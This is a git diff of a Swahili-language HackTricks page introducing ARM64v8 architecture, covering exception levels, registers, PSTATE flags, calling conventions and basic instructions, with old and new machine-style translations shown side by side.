Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,258 +1,257 @@
|
|||
# Utangulizi wa ARM64v8
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Viwango vya Kipekee - EL (ARM64v8)**
|
||||
## **Viwango vya Kigezo - EL (ARM64v8)**
|
||||
|
||||
Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyojulikana kama Viwango vya Kipekee (ELs), vinataja kiwango cha uwezo na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya kipekee, kuanzia EL0 hadi EL3, kila moja ikitoa lengo tofauti:
|
||||
Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyojulikana kama Viwango vya Kigezo (ELs), vin定义 kiwango cha ruhusa na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya kigezo, kuanzia EL0 hadi EL3, kila kimoja kikihudumia kusudi tofauti:
|
||||
|
||||
1. **EL0 - Hali ya Mtumiaji**:
|
||||
* Hii ni kiwango cha chini cha uwezo na hutumiwa kwa kutekeleza nambari za maombi ya kawaida.
|
||||
* Programu zinazoendesha kwenye EL0 zimejitenga kutoka kwa nyingine na kutoka kwa programu ya mfumo, ikiboresha usalama na utulivu.
|
||||
2. **EL1 - Hali ya Msingi ya Kerneli ya Mfumo wa Uendeshaji**:
|
||||
* Zaidi ya majukumu ya mfumo wa uendeshaji hufanya kazi kwenye kiwango hiki.
|
||||
* EL1 ina uwezo zaidi kuliko EL0 na inaweza kupata rasilimali za mfumo, lakini kwa vikwazo fulani kuhakikisha uadilifu wa mfumo.
|
||||
* Hiki ndicho kiwango chenye ruhusa ndogo zaidi na kinatumika kwa kutekeleza msimbo wa programu wa kawaida.
|
||||
* Programu zinazotembea kwenye EL0 zimejengwa mbali na kila mmoja na kutoka kwa programu za mfumo, kuimarisha usalama na utulivu.
|
||||
2. **EL1 - Hali ya Kernel ya Mfumo wa Uendeshaji**:
|
||||
* Kerneli nyingi za mifumo ya uendeshaji zinatembea kwenye kiwango hiki.
|
||||
* EL1 ina ruhusa zaidi kuliko EL0 na inaweza kufikia rasilimali za mfumo, lakini kwa vizuizi fulani ili kuhakikisha uadilifu wa mfumo.
|
||||
3. **EL2 - Hali ya Hypervisor**:
|
||||
* Kiwango hiki hutumiwa kwa uvirtualization. Hypervisor inayotekelezwa kwenye EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) inayotekelezwa kwenye vifaa vya kimwili sawa.
|
||||
* EL2 hutoa vipengele vya kujitenga na kudhibiti mazingira vilivyovirtualized.
|
||||
4. **EL3 - Hali ya Kufuatilia Salama**:
|
||||
* Hii ni kiwango cha juu zaidi cha uwezo na mara nyingi hutumiwa kwa kuanzisha salama na mazingira ya utekelezaji yanayoweza kudhibitika.
|
||||
* EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS ya kuaminika, n.k.).
|
||||
* Kiwango hiki kinatumika kwa uhalisia. Hypervisor inayotembea kwenye EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) inayotembea kwenye vifaa vya kimwili sawa.
|
||||
* EL2 inatoa vipengele vya kutenganisha na kudhibiti mazingira yaliyohalalishwa.
|
||||
4. **EL3 - Hali ya Msimamizi Salama**:
|
||||
* Hiki ndicho kiwango chenye ruhusa kubwa zaidi na mara nyingi kinatumika kwa kuanzisha salama na mazingira ya utekelezaji yaliyoaminika.
|
||||
* EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS iliyoaminika, n.k.).
|
||||
|
||||
Matumizi ya viwango hivi hutoa njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa programu za watumiaji hadi programu ya mfumo yenye uwezo zaidi. Mbinu ya ARMv8 kwa viwango vya uwezo husaidia katika kujitenga kwa ufanisi sehemu tofauti za mfumo, hivyo kuboresha usalama na uthabiti wa mfumo.
|
||||
Matumizi ya viwango hivi yanaruhusu njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa programu za mtumiaji hadi programu za mfumo zenye ruhusa kubwa zaidi. Mbinu ya ARMv8 kuhusu viwango vya ruhusa inasaidia kutenganisha kwa ufanisi vipengele tofauti vya mfumo, hivyo kuimarisha usalama na uimara wa mfumo.
|
||||
|
||||
## **Vidhibiti (ARM64v8)**
|
||||
## **Register (ARM64v8)**
|
||||
|
||||
ARM64 ina **vidhibiti vya jumla vya 31**, vilivyopewa majina `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (baiti 8). Kwa operesheni zinazohitaji thamani za biti 32 tu, vidhibiti sawa vinaweza kupatikana katika hali ya biti 32 kwa kutumia majina w0 hadi w30.
|
||||
ARM64 ina **register 31 za matumizi ya jumla**, zilizoandikwa `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (8-byte). Kwa operesheni zinazohitaji tu thamani za 32-bit, register hizo hizo zinaweza kufikiwa katika hali ya 32-bit kwa kutumia majina w0 hadi w30.
|
||||
|
||||
1. **`x0`** hadi **`x7`** - Mara nyingi hutumiwa kama vidhibiti vya kufuta na kwa kupitisha parameta kwa subroutines.
|
||||
* **`x0`** pia inabeba data ya kurudi ya kazi
|
||||
2. **`x8`** - Katika kerneli ya Linux, `x8` hutumiwa kama nambari ya wito wa mfumo kwa maelekezo ya `svc`. **Katika macOS x16 ndio hutumiwa!**
|
||||
3. **`x9`** hadi **`x15`** - Vidhibiti vya muda mrefu zaidi, mara nyingi hutumiwa kwa vidhibiti vya mitaa.
|
||||
4. **`x16`** na **`x17`** - **Vidhibiti vya Wito wa Ndani wa Mchakato**. Vidhibiti vya muda mfupi kwa thamani za moja kwa moja. Pia hutumiwa kwa wito wa kazi za moja kwa moja na PLT (Procedure Linkage Table) stubs.
|
||||
* **`x16`** hutumiwa kama **nambari ya wito wa mfumo** kwa maelekezo ya **`svc`** katika **macOS**.
|
||||
5. **`x18`** - **Kudhibiti jukwaa**. Inaweza kutumika kama kudhibiti vya jumla, lakini kwenye majukwaa fulani, kudhibiti huu unahifadhiwa kwa matumizi maalum ya jukwaa: Kielekezi kwa kizuizi cha mazingira cha watumiaji wa sasa katika Windows, au kuelekeza kwa muundo wa kazi unaoendeshwa kwa sasa katika kerneli ya Linux.
|
||||
6. **`x19`** hadi **`x28`** - Hizi ni vidhibiti vinavyohifadhiwa na wito. Kazi lazima ihifadhi thamani za vidhibiti hivi kwa mpigaji wake, kwa hivyo zinahifadhiwa kwenye steki na kurejeshwa kabla ya kurudi kwa mpigaji.
|
||||
7. **`x29`** - **Kielekezi cha fremu** kufuatilia fremu ya steki. Wakati fremu mpya ya steki inaundwa kwa sababu kazi inaitwa, kudhibiti cha **`x29`** kina **hifadhiwa kwenye steki** na anwani mpya ya fremu (**anwani ya `sp`**) inahifadhiwa kwenye kielekezi hiki.
|
||||
* Kudhibiti hiki pia kinaweza kutumika kama **kielekezi cha jumla** ingawa kawaida hutumiwa kama kumbukumbu ya **vidhibiti vya mitaa**.
|
||||
8. **`x30`** au **`lr`**- **Kielekezi cha Kiungo**. Kinashikilia **anwani ya kurudi** wakati maelekezo ya `BL` (Branch with Link) au `BLR` (Branch with Link to Register) yanatekelezwa kwa kuhifadhi thamani ya **`pc`** kwenye kielekezi hiki.
|
||||
* Pia kinaweza kutumika kama kudhibiti kingine chochote.
|
||||
* Ikiwa kazi ya sasa itaita kazi mpya na hivyo kubadilisha `lr`, itahifadhi kwenye steki mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kuirudisha mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rudisha `fp` na `lr` na rudi).
|
||||
9. **`sp`** - **Kielekezi cha steki**, hutumiwa kufuatilia juu ya steki.
|
||||
* thamani ya **`sp`** daima inapaswa kudumishwa kwa angalau **urekebishaji wa quadword** au kutokea kwa kosa la urekebishaji.
|
||||
10. **`pc`** - **Kielekezi cha Programu**, kinachoelekeza kwa maelekezo yanayofuata. Kudhibiti hiki kinaweza kusasishwa kupitia kizazi cha kipekee, kurudi kwa kipekee, na matawi. Maelekezo ya kawaida pekee yanayoweza kusoma kudhibiti hiki ni maelekezo ya matawi na viungo (BL, BLR) kuhifadhi anwani ya **`pc`** kwenye **`lr`** (Kielekezi cha Kiungo).
|
||||
11. **`xzr`** - **Kudhibiti cha Sifuri**. Pia huitwa **`wzr`** katika fomu yake ya kudhibiti ya biti **32**.
|
||||
1. **`x0`** hadi **`x7`** - Hizi kwa kawaida hutumiwa kama register za kujaribu na kwa kupitisha vigezo kwa subroutines.
|
||||
* **`x0`** pia hubeba data ya kurudi ya kazi
|
||||
2. **`x8`** - Katika kernel ya Linux, `x8` inatumika kama nambari ya wito wa mfumo kwa amri ya `svc`. **Katika macOS x16 ndiyo inayotumika!**
|
||||
3. **`x9`** hadi **`x15`** - Register za muda zaidi, mara nyingi hutumiwa kwa mabadiliko ya ndani.
|
||||
4. **`x16`** na **`x17`** - **Intra-procedural Call Registers**. Register za muda kwa thamani za papo hapo. Pia zinatumika kwa wito wa kazi zisizo za moja kwa moja na PLT (Jedwali la Uunganisho wa Utaratibu).
|
||||
* **`x16`** inatumika kama **nambari ya wito wa mfumo** kwa amri ya **`svc`** katika **macOS**.
|
||||
5. **`x18`** - **Register ya Jukwaa**. Inaweza kutumika kama register ya matumizi ya jumla, lakini kwenye majukwaa mengine, register hii imehifadhiwa kwa matumizi maalum ya jukwaa: Kielelezo cha block ya mazingira ya thread ya sasa katika Windows, au kuonyesha muundo wa kazi inayotekelezwa sasa katika kernel ya linux.
|
||||
6. **`x19`** hadi **`x28`** - Hizi ni register za kuhifadhiwa na mpokeaji. Kazi lazima ihifadhi thamani za register hizi kwa mpokeaji wake, hivyo zinahifadhiwa kwenye stack na kurejeshwa kabla ya kurudi kwa mpokeaji.
|
||||
7. **`x29`** - **Pointer ya Frame** ili kufuatilia frame ya stack. Wakati frame mpya ya stack inaundwa kwa sababu ya wito wa kazi, register ya **`x29`** inahifadhiwa kwenye stack na anwani ya **frame** mpya inahifadhiwa kwenye **register hii**.
|
||||
* Register hii inaweza pia kutumika kama **register ya matumizi ya jumla** ingawa kwa kawaida hutumiwa kama rejeleo kwa **mabadiliko ya ndani**.
|
||||
8. **`x30`** au **`lr`**- **Link register**. Inashikilia **anwani ya kurudi** wakati amri ya `BL` (Branch with Link) au `BLR` (Branch with Link to Register) inatekelezwa kwa kuhifadhi thamani ya **`pc`** katika register hii.
|
||||
* Inaweza pia kutumika kama register nyingine yoyote.
|
||||
* Ikiwa kazi ya sasa inakusudia kuita kazi mpya na hivyo kuandika `lr`, itahifadhiwa kwenye stack mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kurejeshwa mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rejesha `fp` na `lr` na rudisha).
|
||||
9. **`sp`** - **Pointer ya Stack**, inayotumika kufuatilia kilele cha stack.
|
||||
* thamani ya **`sp`** inapaswa kudumishwa kuwa angalau **quadword** **mwelekeo** au mwelekeo wa makosa unaweza kutokea.
|
||||
10. **`pc`** - **Program counter**, ambayo inaonyesha amri inayofuata. Register hii inaweza kusasishwa tu kupitia uzalishaji wa makosa, marejesho ya makosa, na matawi. Amri pekee za kawaida zinazoweza kusoma register hii ni amri za matawi na viungo (BL, BLR) kuhifadhi anwani ya **`pc`** katika **`lr`** (Link Register).
|
||||
11. **`xzr`** - **Zero register**. Pia inaitwa **`wzr`** katika fomu yake ya register **32**-bit. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya kulinganisha kwa kutumia **`subs`** kama **`subs XZR, Xn, #10`** ikihifadhi data inayotokana mahali popote (katika **`xzr`**).
|
||||
|
||||
Vidhibiti vya **`Wn`** ni toleo la biti **32** la kudhibiti cha **`Xn`**.
|
||||
Register za **`Wn`** ni toleo la **32bit** la register **`Xn`**.
|
||||
|
||||
### Vidhibiti vya SIMD na Floating-Point
|
||||
### SIMD na Register za Floating-Point
|
||||
|
||||
Zaidi ya hayo, kuna vidhibiti vingine **32 vya urefu wa biti 128** vinavyoweza kutumika katika operesheni zilizooanishwa za data nyingi kwa maelekezo moja na kwa kufanya hesabu za nukta kikomo. Hivi huitwa vidhibiti vya Vn ingawa wanaweza pia kufanya kazi katika biti **64**, **32**, **16**, na **8** na kisha huitwa **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** na **`Bn`**.
|
||||
### Vipimo vya Mfumo
|
||||
Zaidi ya hayo, kuna register nyingine **32 za urefu wa 128bit** ambazo zinaweza kutumika katika operesheni za optimized single instruction multiple data (SIMD) na kwa kufanya hesabu za floating-point. Hizi zinaitwa register za Vn ingawa zinaweza pia kufanya kazi katika **64**-bit, **32**-bit, **16**-bit na **8**-bit na kisha zinaitwa **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** na **`Bn`**.
|
||||
|
||||
**Kuna mamia ya vipimo vya mfumo**, vinavyoitwa pia vipimo maalum vya kusudi (SPRs), hutumika kwa **kufuatilia** na **kudhibiti** **tabia za processors**.\
|
||||
Vinaweza kusomwa au kuwekwa tu kwa kutumia maagizo maalum yaliyotengwa **`mrs`** na **`msr`**.
|
||||
### Register za Mfumo
|
||||
|
||||
Vipimo maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa kurekebisha. Kiambishi cha `EL0` kinaonyesha **kosa la chini** ambapo kipimo kinaweza kupatikana (katika kesi hii EL0 ni kosa la kawaida (haki) ambalo programu za kawaida hufanya nalo).\
|
||||
Maranyingi hutumika kuhifadhi **anwani ya msingi ya eneo la kuhifadhi la mnyororo wa wateja** la kumbukumbu. Kawaida la kwanza linaweza kusomwa na kuandikwa na programu zinazoendesha katika EL0, lakini la pili linaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel).
|
||||
**Kuna mamia ya register za mfumo**, pia zinazoitwa register za matumizi maalum (SPRs), zinatumika kwa **kuangalia** na **kudhibiti** tabia za **processors**.\
|
||||
Zinaweza kusomwa au kuwekwa tu kwa kutumia amri maalum iliyotengwa **`mrs`** na **`msr`**.
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Soma TPIDR_EL0 hadi x0`
|
||||
* `msr TPIDR_EL0, X0 ; Andika x0 hadi TPIDR_EL0`
|
||||
Register maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa uhandisi wa kurudi. Kiambishi cha `EL0` kinaonyesha **kigezo kidogo** ambacho register inaweza kufikiwa (katika kesi hii EL0 ni kiwango cha kawaida cha kigezo (ruhusa) ambacho programu za kawaida zinatembea nacho).\
|
||||
Mara nyingi hutumiwa kuhifadhi **anwani ya msingi ya eneo la uhifadhi wa thread-local** la kumbukumbu. Kwa kawaida ya kwanza inasomeka na kuandikwa kwa programu zinazotembea katika EL0, lakini ya pili inaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Soma TPIDR_EL0 ndani ya x0`
|
||||
* `msr TPIDR_EL0, X0 ; Andika x0 ndani ya TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** ina vipengele vya mchakato kadhaa vilivyosanidishwa katika kipimo maalum cha **`SPSR_ELx`**, X ikiwa ni **kiwango cha ruhusa cha kosa** kilichosababishwa (hii inaruhusu kurejesha hali ya mchakato wakati kosa linamalizika).\
|
||||
Hizi ni sehemu zinazopatikana:
|
||||
**PSTATE** ina vipengele kadhaa vya mchakato vilivyopangwa katika register maalum inayoweza kuonekana na mfumo wa uendeshaji **`SPSR_ELx`**, X ikiwa ni **kiwango cha ruhusa** **cha kigezo** kilichosababisha (hii inaruhusu kurejesha hali ya mchakato wakati kigezo kinapomalizika).\
|
||||
Hizi ndizo sehemu zinazoweza kufikiwa:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **`N`**, **`Z`**, **`C`** na **`V`** hali za hali:
|
||||
* **`N`** inamaanisha uendeshaji ulitoa matokeo hasi
|
||||
* **`Z`** inamaanisha uendeshaji ulitoa sifuri
|
||||
* **`C`** inamaanisha uendeshaji ulibeba
|
||||
* **`V`** inamaanisha uendeshaji ulitoa kipindupindu kilichosainiwa:
|
||||
* Bendera za hali **`N`**, **`Z`**, **`C`** na **`V`**:
|
||||
* **`N`** inamaanisha operesheni ilitoa matokeo hasi
|
||||
* **`Z`** inamaanisha operesheni ilitoa sifuri
|
||||
* **`C`** inamaanisha operesheni ilibeba
|
||||
* **`V`** inamaanisha operesheni ilitoa overflow iliyosainiwa:
|
||||
* Jumla ya nambari mbili chanya inatoa matokeo hasi.
|
||||
* Jumla ya nambari mbili hasi inatoa matokeo chanya.
|
||||
* Katika upunguzaji, wakati nambari kubwa hasi inapunguzwa kutoka kwa nambari ndogo chanya (au kinyume chake), na matokeo hayawezi kuwakilishwa ndani ya safu ya ukubwa wa biti iliyotolewa.
|
||||
* Kwa dhahiri processor hajui uendeshaji ni wa kusainiwa au la, kwa hivyo itachunguza C na V katika uendeshaji na kuonyesha ikiwa kuna kubeba ilitokea ikiwa ilikuwa ya kusainiwa au isiyosainiwa.
|
||||
* Katika utoaji, wakati nambari kubwa hasi inakatwa kutoka kwa nambari ndogo chanya (au kinyume chake), na matokeo hayawezi kuwakilishwa ndani ya upeo wa ukubwa wa bit uliopewa.
|
||||
* Kwa wazi processor haijui operesheni hiyo ina saini au la, hivyo itakagua C na V katika operesheni na kuonyesha ikiwa kubeba kumetokea katika kesi ilikuwa na saini au isiyo na saini.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Sio maagizo yote yanayosasisha bendera hizi. Baadhi kama **`CMP`** au **`TST`** hufanya hivyo, na zingine zenye kiambishi cha s kama **`ADDS`** pia hufanya hivyo.
|
||||
Sio amri zote zinazosasisha bendera hizi. Baadhi kama **`CMP`** au **`TST`** hufanya hivyo, na nyingine ambazo zina kiambishi cha s kama **`ADDS`** pia hufanya hivyo.
|
||||
{% endhint %}
|
||||
|
||||
* Bendera ya sasa ya **urefu wa kusajili (`nRW`)**: Ikiwa bendera inashikilia thamani 0, programu itaendesha katika hali ya utekelezaji wa AArch64 mara baada ya kurejeshwa.
|
||||
* **Kiambishi cha Kosa la Kipekee** (**`EL`**): Programu ya kawaida inayoendesha katika EL0 itakuwa na thamani 0
|
||||
* Bendera ya **hatua moja** (**`SS`**): Hutumiwa na wachunguzi wa kosa la hatua moja kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kosa. Programu itaendesha hatua na kutoa kosa la hatua moja.
|
||||
* Bendera ya hali ya kosa **isio halali** (**`IL`**): Hutumiwa kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kosa lisilo halali, bendera hii inawekwa kuwa 1 na processor kuzindua kosa la hali lisilo halali.
|
||||
* Bendera za **`DAIF`**: Bendera hizi huruhusu programu yenye ruhusa kuficha kwa hiari baadhi ya kosa la nje.
|
||||
* Ikiwa **`A`** ni 1 inamaanisha **kosa za kushtukiza za asenkroni** zitazinduliwa. **`I`** inaashiria kujibu kwa **Ombi la Kuingilia** la vifaa vya nje (IRQs). na F inahusiana na **Ombi za Kuingilia za Haraka** (FIRs).
|
||||
* Bendera za kuchagua **chaguo la kidole cha mstari** (**`SPS`**): Programu zenye ruhusa zinazoendesha katika EL1 na zaidi zinaweza kubadilishana kati ya kutumia kusajili la kidole chao wenyewe na lile la mfano wa mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Hii kubadilishana hufanywa kwa kuandika kwa kipimo maalum cha **`SPSel`**. Hii haiwezi kufanywa kutoka EL0.
|
||||
* Bendera ya **upana wa register wa sasa (`nRW`)**: Ikiwa bendera ina thamani 0, programu itakimbia katika hali ya utekelezaji ya AArch64 mara itakaporejeshwa.
|
||||
* **Kiwango cha Kigezo** (**`EL`**): Programu ya kawaida inayotembea katika EL0 itakuwa na thamani 0
|
||||
* Bendera ya **kujiendesha** (**`SS`**): Inatumika na debuggers kujiendesha kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kigezo. Programu itakimbia hatua moja na kutoa kigezo cha kujiendesha.
|
||||
* Bendera ya hali ya **kigezo kisichofaa** (**`IL`**): Inatumika kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kigezo kisichofaa, bendera hii inawekwa kuwa 1 na processor inasababisha kigezo kisichofaa.
|
||||
* Bendera za **`DAIF`**: Bendera hizi zinaruhusu programu yenye ruhusa kuchuja kigezo fulani cha nje.
|
||||
* Ikiwa **`A`** ni 1 inamaanisha **kuondolewa kwa asynchronic** kutasababisha. **`I`** inasanidiwa kujibu **Maombi ya Interrupt ya vifaa vya nje** (IRQs). na F inahusiana na **Maombi ya Interrupt ya Haraka** (FIRs).
|
||||
* Bendera za **uchaguzi wa pointer ya stack** (**`SPS`**): Programu zenye ruhusa zinazotembea katika EL1 na juu zinaweza kubadilisha kati ya kutumia register yao ya pointer ya stack na ile ya mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Kubadilisha hii inafanywa kwa kuandika kwenye register maalum ya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0.
|
||||
|
||||
## **Mkataba wa Kuita (ARM64v8)**
|
||||
## **Mkataba wa Wito (ARM64v8)**
|
||||
|
||||
Mkataba wa kuita wa ARM64 unabainisha kwamba **parameta nane za kwanza** kwa kazi hutumwa katika visajili **`x0` hadi `x7`**. **Parameta zaidi** hutumwa kwenye **stakishi**. Thamani ya **kurudi** hutumwa tena katika kisajili **`x0`**, au pia katika **`x1`** pia **ikiwa ni urefu wa biti 128**. Visajili vya **`x19`** hadi **`x30`** na **`sp`** lazima viwe **vimehifadhiwa** kupitia wito wa kazi.
|
||||
Mkataba wa wito wa ARM64 unasisitiza kwamba **vigezo vinane vya kwanza** kwa kazi vinapitishwa katika register **`x0` hadi `x7`**. **Vigezo vya ziada** vinapitishwa kwenye **stack**. Thamani ya **kurudi** inarudishwa katika register **`x0`**, au katika **`x1`** pia **ikiwa ni 128 bits ndefu**. Register za **`x19`** hadi **`x30`** na **`sp`** lazima **zihifadhiwe** kati ya wito wa kazi.
|
||||
|
||||
Unaposoma kazi katika mkusanyiko, tafuta **prologue na epilogue** ya kazi. **Prologue** kawaida inahusisha **kuhifadhi kiashiria cha fremu (`x29`)**, **kuweka** fremu mpya ya kiashiria, na **kutenga nafasi ya stakishi**. **Epilogue** kawaida inahusisha **kurudisha kiashiria cha fremu kilichohifadhiwa** na **kurudi** kutoka kwa kazi.
|
||||
Wakati wa kusoma kazi katika assembly, angalia **prologue na epilogue ya kazi**. **Prologue** kwa kawaida inahusisha **kuhifadhi pointer ya frame (`x29`)**, **kuweka** pointer mpya ya frame, na **kuandaa nafasi ya stack**. **Epilogue** kwa kawaida inahusisha **kurejesha pointer ya frame iliyohifadhiwa** na **kurudi** kutoka kwa kazi.
|
||||
|
||||
### Mkataba wa Kuita katika Swift
|
||||
### Mkataba wa Wito katika Swift
|
||||
|
||||
Swift ina **mkataba wake wa kuita** ambao unaweza kupatikana katika [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
Swift ina **mkataba wake wa wito** ambao unaweza kupatikana katika [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **Maagizo ya Kawaida (ARM64v8)**
|
||||
## **Amri za Kawaida (ARM64v8)**
|
||||
|
||||
Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo **`opcode`** ni **operesheni** itakayotekelezwa (kama vile `ongeza`, `punguza`, `hamisha`, nk.), **`dst`** ni kisajili cha **marudio** ambapo matokeo yatahifadhiwa, na **`src1`** na **`src2`** ni visajili vya **chanzo**. Thamani za moja kwa moja pia zinaweza kutumika badala ya visajili vya chanzo.
|
||||
Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opcode`** ni **operesheni** inayopaswa kufanywa (kama `add`, `sub`, `mov`, n.k.), **`dst`** ni **register** ya marudio ambapo matokeo yatahifadhiwa, na **`src1`** na **`src2`** ni **register** za chanzo. Thamani za papo hapo zinaweza pia kutumika badala ya register za chanzo.
|
||||
|
||||
* **`hamisha`**: **Hamisha** thamani kutoka kwa **kisajili** kimoja kwenda kingine.
|
||||
* Mfano: `hamisha x0, x1` — Hii inahamisha thamani kutoka `x1` hadi `x0`.
|
||||
* **`ldr`**: **Pakia** thamani kutoka kwa **kumbukumbu** hadi kwa **kisajili**.
|
||||
* Mfano: `ldr x0, [x1]` — Hii inapakia thamani kutoka kwenye eneo la kumbukumbu linaloelekezwa na `x1` hadi `x0`.
|
||||
* **Hali ya Kufuta**: Kufuta inayoathiri kidole cha awali inaonyeshwa, kwa mfano:
|
||||
* `ldr x2, [x1, #8]`, hii itapakia kwenye x2 thamani kutoka x1 + 8
|
||||
* `ldr x2, [x0, x1, lsl #2]`, hii itapakia kwenye x2 kitu kutoka kwenye safu x0, kutoka kwenye nafasi x1 (indeksi) \* 4
|
||||
